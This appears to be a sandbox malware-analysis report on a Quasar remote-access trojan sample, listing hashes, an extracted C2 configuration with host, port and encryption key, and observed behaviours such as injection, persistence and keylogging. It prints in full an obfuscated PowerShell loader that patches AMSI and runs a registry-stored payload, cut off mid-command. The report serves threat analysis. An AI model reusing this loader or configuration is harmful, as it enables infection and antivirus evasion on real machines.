Analysis
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max time kernel
1800s -
max time network
1794s -
platform
windows11-21h2_x64 -
resource
win11-20240508-en -
resource tags
arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system -
submitted
08-05-2024 17:27
Behavioral task
behavioral1
Sample
Uni.exe
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
Uni.exe
Resource
win7-20240221-en
Behavioral task
behavioral3
Sample
Uni.exe
Resource
win10v2004-20240508-en
General
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Target
Uni.exe
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Size
409KB
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MD5
7417c8c73e614f293152575f46134216
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SHA1
cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805
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SHA256
00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3
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SHA512
897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0
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SSDEEP
6144:nMr2pJAJcC0B632U3GRbMfgvKFFhTEDPX1NbKoEn5MSU+h2f8/14m:LpyJcC+82U3GRGGp1M5Ys2f8/6m
Malware Config
Extracted
quasar
3.1.5
SLAVE
even-lemon.gl.at.ply.gg:33587
$Sxr-dOMA5C0pQTTpKjVsCp
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encryption_key
UBXs44u6E81wxBGZxQHk
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install_name
$sxr-powershell.exe
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log_directory
$SXR-KEYLOGS
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reconnect_delay
3000
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startup_key
$sxr-powershell
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subdirectory
$sxr-seroxen2
Signatures
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Quasar payload 2 IoCs
Processes:
resource yara_rule behavioral4/memory/4528-1-0x0000000000B30000-0x0000000000B9C000-memory.dmp family_quasar C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
Processes:
powershell.EXEpowershell.EXEdescription pid process target process PID 892 created 644 892 powershell.EXE winlogon.exe PID 3740 created 644 3740 powershell.EXE winlogon.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Executes dropped EXE 3 IoCs
Processes:
$sxr-powershell.exeinstall.exeinstall.exepid process 5052 $sxr-powershell.exe 3988 install.exe 4800 install.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
Processes:
flow ioc 1 raw.githubusercontent.com 4 raw.githubusercontent.com 8 raw.githubusercontent.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 1 ip-api.com -
Drops file in System32 directory 5 IoCs
Processes:
powershell.EXEsvchost.exepowershell.EXEdescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx svchost.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
powershell.EXEpowershell.EXEdescription pid process target process PID 892 set thread context of 4132 892 powershell.EXE dllhost.exe PID 3740 set thread context of 2824 3740 powershell.EXE dllhost.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeSCHTASKS.exeschtasks.exepid process 2800 schtasks.exe 1552 SCHTASKS.exe 4272 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.EXEpowershell.EXEOfficeClickToRun.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.EXEpowershell.EXEdllhost.exe$sxr-powershell.exewmiprvse.exedllhost.exepid process 892 powershell.EXE 892 powershell.EXE 3740 powershell.EXE 3740 powershell.EXE 892 powershell.EXE 4132 dllhost.exe 4132 dllhost.exe 4132 dllhost.exe 4132 dllhost.exe 5052 $sxr-powershell.exe 4132 dllhost.exe 4132 dllhost.exe 4132 dllhost.exe 4132 dllhost.exe 4132 dllhost.exe 4132 dllhost.exe 5052 $sxr-powershell.exe 4132 dllhost.exe 4132 dllhost.exe 4132 dllhost.exe 4132 dllhost.exe 4132 dllhost.exe 4132 dllhost.exe 4132 dllhost.exe 4132 dllhost.exe 3908 wmiprvse.exe 3740 powershell.EXE 3740 powershell.EXE 4132 dllhost.exe 4132 dllhost.exe 3740 powershell.EXE 2824 dllhost.exe 2824 dllhost.exe 4132 dllhost.exe 4132 dllhost.exe 2824 dllhost.exe 2824 dllhost.exe 5052 $sxr-powershell.exe 2824 dllhost.exe 2824 dllhost.exe 2824 dllhost.exe 2824 dllhost.exe 2824 dllhost.exe 2824 dllhost.exe 2824 dllhost.exe 2824 dllhost.exe 2824 dllhost.exe 2824 dllhost.exe 5052 $sxr-powershell.exe 2824 dllhost.exe 2824 dllhost.exe 2824 dllhost.exe 2824 dllhost.exe 2824 dllhost.exe 2824 dllhost.exe 2824 dllhost.exe 2824 dllhost.exe 5052 $sxr-powershell.exe 2824 dllhost.exe 2824 dllhost.exe 2824 dllhost.exe 2824 dllhost.exe 2824 dllhost.exe 2824 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
Uni.exepowershell.EXE$sxr-powershell.exepowershell.EXEdllhost.exesvchost.exedescription pid process Token: SeDebugPrivilege 4528 Uni.exe Token: SeDebugPrivilege 892 powershell.EXE Token: SeDebugPrivilege 5052 $sxr-powershell.exe Token: SeDebugPrivilege 3740 powershell.EXE Token: SeDebugPrivilege 892 powershell.EXE Token: SeDebugPrivilege 4132 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 2700 svchost.exe Token: SeIncreaseQuotaPrivilege 2700 svchost.exe Token: SeSecurityPrivilege 2700 svchost.exe Token: SeTakeOwnershipPrivilege 2700 svchost.exe Token: SeLoadDriverPrivilege 2700 svchost.exe Token: SeSystemtimePrivilege 2700 svchost.exe Token: SeBackupPrivilege 2700 svchost.exe Token: SeRestorePrivilege 2700 svchost.exe Token: SeShutdownPrivilege 2700 svchost.exe Token: SeSystemEnvironmentPrivilege 2700 svchost.exe Token: SeUndockPrivilege 2700 svchost.exe Token: SeManageVolumePrivilege 2700 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2700 svchost.exe Token: SeIncreaseQuotaPrivilege 2700 svchost.exe Token: SeSecurityPrivilege 2700 svchost.exe Token: SeTakeOwnershipPrivilege 2700 svchost.exe Token: SeLoadDriverPrivilege 2700 svchost.exe Token: SeSystemtimePrivilege 2700 svchost.exe Token: SeBackupPrivilege 2700 svchost.exe Token: SeRestorePrivilege 2700 svchost.exe Token: SeShutdownPrivilege 2700 svchost.exe Token: SeSystemEnvironmentPrivilege 2700 svchost.exe Token: SeUndockPrivilege 2700 svchost.exe Token: SeManageVolumePrivilege 2700 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2700 svchost.exe Token: SeIncreaseQuotaPrivilege 2700 svchost.exe Token: SeSecurityPrivilege 2700 svchost.exe Token: SeTakeOwnershipPrivilege 2700 svchost.exe Token: SeLoadDriverPrivilege 2700 svchost.exe Token: SeSystemtimePrivilege 2700 svchost.exe Token: SeBackupPrivilege 2700 svchost.exe Token: SeRestorePrivilege 2700 svchost.exe Token: SeShutdownPrivilege 2700 svchost.exe Token: SeSystemEnvironmentPrivilege 2700 svchost.exe Token: SeUndockPrivilege 2700 svchost.exe Token: SeManageVolumePrivilege 2700 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2700 svchost.exe Token: SeIncreaseQuotaPrivilege 2700 svchost.exe Token: SeSecurityPrivilege 2700 svchost.exe Token: SeTakeOwnershipPrivilege 2700 svchost.exe Token: SeLoadDriverPrivilege 2700 svchost.exe Token: SeSystemtimePrivilege 2700 svchost.exe Token: SeBackupPrivilege 2700 svchost.exe Token: SeRestorePrivilege 2700 svchost.exe Token: SeShutdownPrivilege 2700 svchost.exe Token: SeSystemEnvironmentPrivilege 2700 svchost.exe Token: SeUndockPrivilege 2700 svchost.exe Token: SeManageVolumePrivilege 2700 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2700 svchost.exe Token: SeIncreaseQuotaPrivilege 2700 svchost.exe Token: SeSecurityPrivilege 2700 svchost.exe Token: SeTakeOwnershipPrivilege 2700 svchost.exe Token: SeLoadDriverPrivilege 2700 svchost.exe Token: SeSystemtimePrivilege 2700 svchost.exe Token: SeBackupPrivilege 2700 svchost.exe Token: SeRestorePrivilege 2700 svchost.exe Token: SeShutdownPrivilege 2700 svchost.exe Token: SeSystemEnvironmentPrivilege 2700 svchost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
$sxr-powershell.exepid process 5052 $sxr-powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Uni.exe$sxr-powershell.exepowershell.EXEdllhost.exedescription pid process target process PID 4528 wrote to memory of 2800 4528 Uni.exe schtasks.exe PID 4528 wrote to memory of 2800 4528 Uni.exe schtasks.exe PID 4528 wrote to memory of 2800 4528 Uni.exe schtasks.exe PID 4528 wrote to memory of 5052 4528 Uni.exe $sxr-powershell.exe PID 4528 wrote to memory of 5052 4528 Uni.exe $sxr-powershell.exe PID 4528 wrote to memory of 5052 4528 Uni.exe $sxr-powershell.exe PID 4528 wrote to memory of 3988 4528 Uni.exe install.exe PID 4528 wrote to memory of 3988 4528 Uni.exe install.exe PID 4528 wrote to memory of 3988 4528 Uni.exe install.exe PID 4528 wrote to memory of 1552 4528 Uni.exe SCHTASKS.exe PID 4528 wrote to memory of 1552 4528 Uni.exe SCHTASKS.exe PID 4528 wrote to memory of 1552 4528 Uni.exe SCHTASKS.exe PID 5052 wrote to memory of 4272 5052 $sxr-powershell.exe schtasks.exe PID 5052 wrote to memory of 4272 5052 $sxr-powershell.exe schtasks.exe PID 5052 wrote to memory of 4272 5052 $sxr-powershell.exe schtasks.exe PID 5052 wrote to memory of 4800 5052 $sxr-powershell.exe install.exe PID 5052 wrote to memory of 4800 5052 $sxr-powershell.exe install.exe PID 5052 wrote to memory of 4800 5052 $sxr-powershell.exe install.exe PID 892 wrote to memory of 4132 892 powershell.EXE dllhost.exe PID 892 wrote to memory of 4132 892 powershell.EXE dllhost.exe PID 892 wrote to memory of 4132 892 powershell.EXE dllhost.exe PID 892 wrote to memory of 4132 892 powershell.EXE dllhost.exe PID 892 wrote to memory of 4132 892 powershell.EXE dllhost.exe PID 892 wrote to memory of 4132 892 powershell.EXE dllhost.exe PID 892 wrote to memory of 4132 892 powershell.EXE dllhost.exe PID 892 wrote to memory of 4132 892 powershell.EXE dllhost.exe PID 4132 wrote to memory of 644 4132 dllhost.exe winlogon.exe PID 4132 wrote to memory of 704 4132 dllhost.exe lsass.exe PID 4132 wrote to memory of 1000 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 544 4132 dllhost.exe dwm.exe PID 4132 wrote to memory of 444 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 732 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 1080 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 1088 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 1180 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 1216 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 1276 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 1316 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 1364 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 1448 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 1516 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 1596 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 1620 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 1680 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 1708 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 1760 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 1816 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 1872 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 1900 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 1908 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 1976 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 1104 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 468 4132 dllhost.exe spoolsv.exe PID 4132 wrote to memory of 2168 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 2412 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 2528 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 2536 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 2576 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 2668 4132 dllhost.exe sysmon.exe PID 4132 wrote to memory of 2692 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 2700 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 2708 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 2740 4132 dllhost.exe svchost.exe PID 4132 wrote to memory of 2896 4132 dllhost.exe sihost.exe
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{c54aaf31-e260-43fa-92cb-dc7c91231bd3}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{3230af6d-6825-457f-8a88-a608fd7122c7}2⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:DIXsLFlzBUCx{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$vUsixpInhqXTIj,[Parameter(Position=1)][Type]$fgJiLeXQTH)$NfUkoKHAaht=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+'f'+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'ed'+'D'+''+[Char](101)+''+[Char](108)+''+'e'+'gat'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+'e'+'m'+''+[Char](111)+''+[Char](114)+'yM'+[Char](111)+'du'+'l'+'e',$False).DefineType(''+'M'+''+'y'+''+[Char](68)+'e'+[Char](108)+'ega'+'t'+''+[Char](101)+''+[Char](84)+''+'y'+''+'p'+'e','C'+[Char](108)+'a'+[Char](115)+'s'+[Char](44)+''+'P'+''+[Char](117)+'b'+'l'+''+'i'+''+[Char](99)+','+[Char](83)+''+[Char](101)+''+[Char](97)+'l'+[Char](101)+''+[Char](100)+''+','+''+'A'+''+[Char](110)+''+'s'+''+[Char](105)+'Cl'+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+'u'+[Char](116)+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+'a'+'s'+'s'+'',[MulticastDelegate]);$NfUkoKHAaht.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+'p'+''+[Char](101)+'cia'+'l'+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+''+'H'+''+[Char](105)+'d'+'e'+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+'g'+','+''+'P'+''+[Char](117)+'bl'+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$vUsixpInhqXTIj).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+'m'+[Char](101)+''+','+''+'M'+''+'a'+''+'n'+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$NfUkoKHAaht.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c,'+[Char](72)+''+[Char](105)+''+'d'+''+'e'+'B'+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+'Ne'+[Char](119)+''+'S'+'l'+[Char](111)+'t'+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+'a'+'l'+'',$fgJiLeXQTH,$vUsixpInhqXTIj).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+'e'+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');Write-Output $NfUkoKHAaht.CreateType();}$JgeOHSeMTEktu=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+''+'d'+'l'+'l'+'')}).GetType(''+[Char](77)+''+'i'+'cro'+[Char](115)+''+[Char](111)+''+[Char](102)+''+'t'+'.'+[Char](87)+''+'i'+''+[Char](110)+''+'3'+''+'2'+'.'+'U'+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+'Na'+'t'+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+'t'+'h'+[Char](111)+''+'d'+'s');$TZyHPcBjFEIHKM=$JgeOHSeMTEktu.GetMethod(''+[Char](71)+''+'e'+'tP'+'r'+''+[Char](111)+'c'+'A'+''+'d'+''+[Char](100)+''+[Char](114)+'es'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+'l'+[Char](105)+''+'c'+','+'S'+''+[Char](116)+''+[Char](97)+'t'+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$lTycQXviZOfCgDvACMi=DIXsLFlzBUCx @([String])([IntPtr]);$qrpKPkorvcWPqmToECRYMQ=DIXsLFlzBUCx @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$qNkoXKKBUnc=$JgeOHSeMTEktu.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+'n'+[Char](100)+''+'l'+'e').Invoke($Null,@([Object](''+[Char](107)+''+'e'+'rn'+[Char](101)+''+[Char](108)+''+'3'+''+[Char](50)+''+[Char](46)+'d'+[Char](108)+'l')));$dHGZbgxJwfKKVy=$TZyHPcBjFEIHKM.Invoke($Null,@([Object]$qNkoXKKBUnc,[Object]('L'+'o'+'a'+[Char](100)+''+[Char](76)+'i'+[Char](98)+''+[Char](114)+'a'+[Char](114)+''+[Char](121)+''+'A'+'')));$mtwGFpSapZMCodwra=$TZyHPcBjFEIHKM.Invoke($Null,@([Object]$qNkoXKKBUnc,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+'t'+'ua'+[Char](108)+'P'+[Char](114)+'o'+[Char](116)+''+[Char](101)+''+'c'+''+[Char](116)+'')));$PkhOxlf=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dHGZbgxJwfKKVy,$lTycQXviZOfCgDvACMi).Invoke(''+'a'+''+[Char](109)+''+'s'+'i'+[Char](46)+'d'+[Char](108)+''+[Char](108)+'');$TYwrrmwFOwqrBECsW=$TZyHPcBjFEIHKM.Invoke($Null,@([Object]$PkhOxlf,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+[Char](105)+'S'+[Char](99)+'an'+[Char](66)+'u'+[Char](102)+''+'f'+''+[Char](101)+''+[Char](114)+'')));$rppVvpMZrZ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mtwGFpSapZMCodwra,$qrpKPkorvcWPqmToECRYMQ).Invoke($TYwrrmwFOwqrBECsW,[uint32]8,4,[ref]$rppVvpMZrZ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$TYwrrmwFOwqrBECsW,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mtwGFpSapZMCodwra,$qrpKPkorvcWPqmToECRYMQ).Invoke($TYwrrmwFOwqrBECsW,[uint32]8,0x20,[ref]$rppVvpMZrZ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'FT'+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'$'+'77'+'s'+'t'+'a'+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryP